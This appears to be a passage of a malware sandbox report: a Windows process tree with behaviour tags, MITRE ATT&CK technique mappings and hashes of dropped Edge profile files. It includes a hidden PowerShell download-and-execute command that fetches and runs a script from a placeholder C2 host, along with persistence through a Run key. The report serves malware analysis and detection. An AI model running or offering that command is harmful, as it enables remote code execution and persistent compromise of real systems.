  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=7152,i,11108286915494998360,13575132384176967353,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=5208,i,17976945886380235743,11943105886912510605,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:1
  2⤵
  PID:1972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5168,i,2732369987051328862,17275433327740922092,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:1
  2⤵
  PID:608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7372,i,15593288400808752986,17535894662304903499,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7380 /prefetch:1
  2⤵
  PID:3380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7532,i,7531419317698614851,2277059980412573668,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7580 /prefetch:8
  2⤵
  PID:4828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7544,i,13489766284730423113,17085350642235935217,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7604 /prefetch:1
  2⤵
  PID:4864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7944,i,14264529983022832629,2577072871954561917,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7892 /prefetch:8
  2⤵
  PID:2380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=5552,i,4639278876858715411,10378178255236150224,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7932 /prefetch:1
  2⤵
  PID:1616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7440,i,1312722712088043964,3126547964466044514,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7448 /prefetch:1
  2⤵
  PID:5384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4240,i,16237322581703795134,14774291370700695062,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:8
  2⤵
  PID:2296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6740,i,12918827016569083329,13117919643775382298,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:8
  2⤵
  PID:608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3584,i,7394899264447411639,10720293613877416362,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=7624 /prefetch:8
  2⤵
  PID:5316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7476,i,15232572905742716994,4804270030549023627,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=8000 /prefetch:8
  2⤵
  PID:5852

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:988

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5904

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\MALAWARE!!!.txt
1⤵
PID:3932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4528

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -NonI -W Hidden -C "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://your-c2-server.com/refresh.ps1')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoP -NonI -W Hidden -C "Invoke-Expression (New-Object Net.WebClient).DownloadString('https://your-c2-server.com/refresh.ps1')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 6130c8553b6b7a2db7b2e45115438707d58889218f67855fd135e735b457363a
MD5 12be8df10fec41dbf27a25c1c279b0c1
SHA1 33b90875d0895cce19bba03a50342a2ac338b0cf
SHA512 048871038871b434c649aecafc4bbbe60a8a78f34616d97c98e037db9c3622825294e8f24d0f7f5626a5b30b862451ae61f9803a791c84140586e516e5f58d6d
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7C:fwUQC5VwBIiElEd2K57P7C
TLSH
T136B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 1c8e6fcbb66aba64fe595f222fc4117e00e82ccdc0eef2100a1b4f7babb04f87
MD5 398d1e7948d46a763209c466fdacd0fb
SHA1 b26f2c32bc106089a59ce779d792beaba59f92bf
SHA512 a0bbf31d803e7333d004f03de9c261732d00cceb5d82dd64b5f0decf8adc8b840891187c72bb21cce83873e6d4dd2fab89d4c7efa320afe2ef3589678dcb1424
TLSH
T1B6D080277A196004F3964175A483D7061319956129575711F310C44CA9775D553C11C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ce6612fa5fcb5a512497cb33ab0a3f706834ad222b5696f08863894b1e22f287
MD5 b61a574baf562cd71b636a2b715fa711
SHA1 1fe7a2a795a9ea179937e2326d82f7d0c1f76cbb
SHA512 57b5f9e658e9938a2274a5d040d251b026a2fcdbd7196c08e91c9c8804e840797cfa3f824cd2d748b67ff79abda6aef8ac5f973bef648bd0029490924828ef28
TLSH
T141D02370B83193D0D219003C0450B5011218877236674362E140880CAD3200083C69D1
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5d2c4e39ddbeb0ac61628bae04f1ac5787600ec893b0e230d1a84d61470771a9
MD5 cd6e704306442404371caebfec7f5b29
SHA1 e4beab8b7820af3633bf7c75a5498a958a95832e
SHA512 de66681a9245e8ece7d7e2ea2080251c395f2aeb8a885ac007eaf16f2ee3a3e36610d2afc17be964a038704371cedfbe4da91143ebed5adac20dbda97768d6e6
TLSH
T13AD080273A196404F7964175A483D7061319956129579712F310C44C99775D553C11C2
MD5 SHA1 SHA512 TLSH

Submit Download

8615c844-4e63-4f35-b56d-37fa36af3819.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\8615c844-4e63-4f35-b56d-37fa36af3819.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 a389d7d71b394db35fd1b45ae97a7848023654d97077455a44a0d76a79397693
MD5 aaed0c7e1f029f1f8eb8677d495b0c56
SHA1 47658d95a6eb9c562e492bb642c807b2ead3c363
SHA512 cfd2e7d4ae58b8a14d8b8f7c74a846abcd769cfd0a7da9effb1e282be962096d657830cbfe463790370b8c3c0cc5b98fd645400a83bdea49cc01dd976777ddd6
SSDEEP 96:MxF53BAzalFa7UuMX1rCMSQOOrNVo+8SinipO:MlyavaUCUdr/k+O
TLSH
T18EB1723B04A23CD0DB5623F874DE1AF974B280DBFC6F4EAE22547E707967702420245A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe598d90.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe598d90.TMP
Size 3KB
SHA256 7fa5921013082acaef98f1293286ffebe3e815ae483aea78d959ebfdd3e9bc5e
MD5 c01088d812f72318a846e498f85ac50b
SHA1 b48d89f54acfa3b83049ff68d9be9b30d3a17e6b
SHA512 1a10f12e5c893d074fe429fe28896fd1f4767065dc9357188a90467af4a3d604af2fd503220c12c54eb98b3b5143346297d3688da317152bfb24487350d74b12
TLSH
T10C713C3B09E15DC0E7A443FC75EE1AF474B285DBFC8F4FAE51904AB47927B224205458
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 28KB
SHA256 9bcde42caec255944b2290af1b27accac013fc917e643dcc823a7249f202e5a0
MD5 1293f4194d3f10564aed0ee841dd9684
SHA1 55121eff747d50d3e4a635c58f27fd48c1c1e52e
SHA512 9958cd1555a31c06063d4ec525b77977e1832da9289d8b8c3a4da80e9eed5861edc39b80a34d41b861f5cd3817a43026cbe213e4a3c8a122098c3f200d8594c3
SSDEEP 384:Dk4yp6TI0u7uLefSeewXSWVXBeGFoGECeKeZ3Jc6yhdy4IYmf4xS9SYKLAhYV98r:OXjB8s/CFcDMLmeukZ5ew
TLSH
T1E6D29AF383E5D56E891257F856146E2BCF0C171A432C3C2989D5EE87E3E2432E16A64F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 dccbb4f452ccd06d36e9d27874534771f9045254ef5e899bc656af68dad873e0
MD5 ff4e759e2e991f85d59317d737c5da48
SHA1 faef5d0027247065e7e6f0e13de2bff609aae0dd
SHA512 7c2b37654de7cd9de63292bef1d6d2e6e11e0a6d583c12f487abec3b85c3341f2db0077ac9a23bdf99a292d0f043aeb69f72fec7795804b4bcc217216356c0fb
SSDEEP 192:sxZtR2yM/jK1Ml8Mkp/fhsT9wIdp8qHW6+WNmlK/YC1fgxMIgrJ:sxZt4Mp/fhsT9R7Hbl/CG9
TLSH
T18252E8156A34A977CCDBD30DBA45BF53D6F9047292910D58A9FCDA1C04E7AEC220B82F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 b8dd51c04b9318b9f8236e79614827aed9e45b491f42d9c085c7a20c570d7001
MD5 683011e12d6ef0d2df7198b4bc89b0c5
SHA1 7f4bdc86d2663e40af63975c12e1cf975f160fc9
SHA512 10e364152efb2563032c95a3180f51ccca46ba831213c5b6421087958eb1e70dc4a31e44b83b68f9698b752f4ef0b4590165d09a730548ded2e646e33145a443
SSDEEP 192:sxZtR2yM/jK1Ml8Mdp/fhsF9HIdpVutXy4HW6+WNSCBkRClK/YC1BgxMIg5IJ:sxZt41p/fhsF9IkHb/45/QGS
TLSH
T11B62D612AA3469B7CDDBD30EF941BB53D6F9147292910D54AAFCDE1C04E6AEC220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 7f09acb428db1c79ac99b4819783c62163149555140a610ae3aaa33eefe1fd0b
MD5 7d63c4ab700011191a60d3c2ca86a652
SHA1 8edd75bd4dfa44f4e14b92df3fe8b1974dd495b3
SHA512 a7e417eed2c7835a73c88c37dda09b9a86c5fa498228fe426b4dadf2db73ceb11ea11b2eabeafe00e12a0ca51c4ac63a916a5aafe1cbabf3f55585bb535d4414
SSDEEP 192:sxZtR2yM/jK1Ml8Mdp/fhsFzHIdpVutXy4HW6+WNSCBkRClK/YCDZgxMIg5qJ:sxZtY1p/fhsFzIkHb/45/SGQ
TLSH
T19C62E812A63459B7CDDBD20EF941BB53E6F9147292910D54AAFCDE1C04E7AEC220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 d9513f15d25ab867b57b9425cab7d0b91962d5205f92261c6b1c355fd1717166
MD5 0de40546228230ba750ff7f9e648346c
SHA1 622b52948ed561045873568335001f078ba84d04
SHA512 c981f98a1aea5afd10498b50261049d279ac44acddd954691cabe050a5af0648a8618050d2933f05c63670f42ab796df69b76c1191101ab20625c6df7d4edb19
SSDEEP 192:sxZtR2yM/jK1Ml8Ndp/fhsoWpVPzRIdpbutXy4HW6+WNSCO4kRClK/YGI/gmCIgq:sxZtYwp/fhsoWvPzamHb/q5/rVq
TLSH
T15462C512A63459BBCDDBD20DFA41BB63D6F9147292911D54AAFC9E1C00E7BEC220781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 e9ae63b759bc09670f7ec4f3c85a6b76554d21f7b743974da0c75f9d5b8fefd1
MD5 6467e5c3fb140b94309055357157a2e5
SHA1 dbf06b452efc77300ebbb658e9d79395877ace9f
SHA512 e3249bbc3a8c0a57564d8911ed8838c37b9dc1fa508bf6a80d997fb9bba5610bd39f938096ff7c0590860aa47a8d5508ea1ce49e9d7bedfa0e698d1d08a7fdce
SSDEEP 768:tq8bqn+WvSC368F1+UoAYDCx9Tuqh0VfUC9xbog/OVnZLlRTKVyroM:tq8bqn+WvSC36u1jaCZLbWVpM
TLSH
T12DE20A3B280CCB7E4F845E5DDC26AF966DD801CB6B988D4447FA894C03C72EA512B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

74b698b6c84ea627_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\74b698b6c84ea627_0
Size 63KB
SHA256 29fb513d6880aea41e5e02ada49059c6fc2b61015371c751092043ffd622fcad
MD5 78518d1ac10ab7a38de34add7c7de82a
SHA1 d875488b2a3120b8fdb4c6d0417b64846621f8e8
SHA512 dd5b32db86b22240ffd77e28c8490b1d123fc87252403a65c952229cccf37640f8492c94b3583a6dea9d29e86d246db9137f662457319d967de3f7a1449f97c9
SSDEEP 1536:G8k3vI6lZbRXxyqxn4Y473+KrYF03iRNjkv:G8k3vFpxh4Y473qW
TLSH
T197536BA6373178B3827BA1B1906F130B713EE5A7F40484F8A198EDF45E44A960267F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 72B
SHA256 2f4c34f33f4dde5d7a9ad7d626019286e099594956b6b2ec036ff4d890e02488
MD5 5dcc630500899cdfb09bc456818905e5
SHA1 478e123b06e79e3738a855fc8275a44c170b2ba0
SHA512 9e4a97d269324c9868e87d4d52301f9e85d25a38666a750a19d3deb7f0751762eac26c32516e30b708f5f794169e0c3e25a40c0e86f6c30a7ad188e976bed84c
TLSH
T1D3A0021541842296C04106B01FEA3745635199A98353521242E6504D9C591824306605
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 84b2cae7354025920ff778ac08937c78e6be91a3351fc21ed436467666fe8dbd
MD5 ba737c0adde55a6a1246510a6a55aeca
SHA1 1f1a72d5773be489d695dd1399f724ae425f4edf
SHA512 5a5a9e2364bd51cdbbc78359bf44914448747f95cde78589a98d717591ecd5c9df6949bbb333bd3bf7f6a9a4c26fa7ac8b8282c87e8d3b7ddffb93cb18ed9002
SSDEEP 48:KoPI1Ksk4fy5eIXKbqkH3IVK8kIvyhQIfKFmc6:KoP2Kski6ewKbqE3mK8kqyQQKFm5
TLSH
T156C1EA2233BB060138BE291C96E9A537DD4236637818E46F7B7804D64E67E216DFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59d884.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59d884.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 dfde3db6d6cc89df7fa5540070d3c192c9243b314a151d97a2b9f1e9b854c0b5
MD5 b4edc243e608857ebb3135d911541141
SHA1 dab1da6446262abde39cbc80274c8665115b3757
SHA512 3bf985a7956184a52e7cc8f47062ce2fbd26e597920a395ea6023ae99b987aeeb91a3ab14d55b72ab1aa2baf83a119bb1accf8fd249ac42e370b9c1842934b08
SSDEEP 384:nZcIWsNhJVGiavEa+YOMII3+2aNnTKwBODNZOC3WIn:PWiWcalOpI3laNnewBKZOaWIn
TLSH
T16F928E752C3C5C725DE6B549F84636078EF89063D6CA2BA8E5EDAF1C00D655C130FC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 1d7654d45108bcf6f5fb15bc0f3840bec00cab28b1d998481cda13e64340bb72
MD5 544fca899c0b9a840f5be42475659eab
SHA1 c0ba01b745f4bfee0b34f220fe340bcf2f54e43a
SHA512 865e5cae98176f6f67f5a193039b0a5bdc107e45972a2704eb407781fb226f0b25084bd2d42a00dea97f4acd8613cdc4989711e365019f4fdef7a4b5f289f885
SSDEEP 768:XFpcbwgIScalOpI3lp6jPSqa5UMnewBKZOaWIn:rcb7LaeUMnevZFvn
TLSH
T1DDD26CB298988CF758A5EAC9A546E1075DB44033C58D666CF3FCBA3C309F4B81347C65
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 e9fb30d732da4c4d4428bfbf088b45b025205c2eb2835e294616d22f3a9c6c88
MD5 7859b8c9448b547ac7095681f3e557c8
SHA1 1d695abf8ecb7e2c5d02b9864607b9567b3b40ff
SHA512 6900256509e798dff2c66f2a80a16fca9de624544b9c9732e1ca6caff910cdd1c77d9c4fc0e2879590a2874cb55dd5ddf83fce67ec1a3fc657eea56ab212e0a5
SSDEEP 192:vON26Db6QmiUyKMHBa+jEOm/HoTRgXdU6:vON26uoHBa+YOMIKNU6
TLSH
T18402E83569386CB79EF26E49F88727279FE4107BD9962B84DAE81F0C00D765C2347826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 2a3841ec606533ebc9f41cf60601a4b78b14099bfcb1ec9d09f40287e7eb7726
MD5 83cd8a70d0b794841ec70992cff8de7e
SHA1 df7497501e8854d54e049eebf5997232a5caa308
SHA512 3b706a939841f6c1af44051c874241e6e92d3e6682c1e4699c74f1844336e2e86225a96c3aa0d56ddd5a32337e1059ae79dcf3489fba6d309ca9009da2c797d5
SSDEEP 384:fZcIUsNh9VGxYvEa+YOMII3+2INnTKwBODNZOC3WIn:3UibcalOpI3lINnewBKZOaWIn
TLSH
T137928E756C3C5C725DE6B559F84636078EF89063E6C92BA4E5EDAF0C00DA55C130FC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
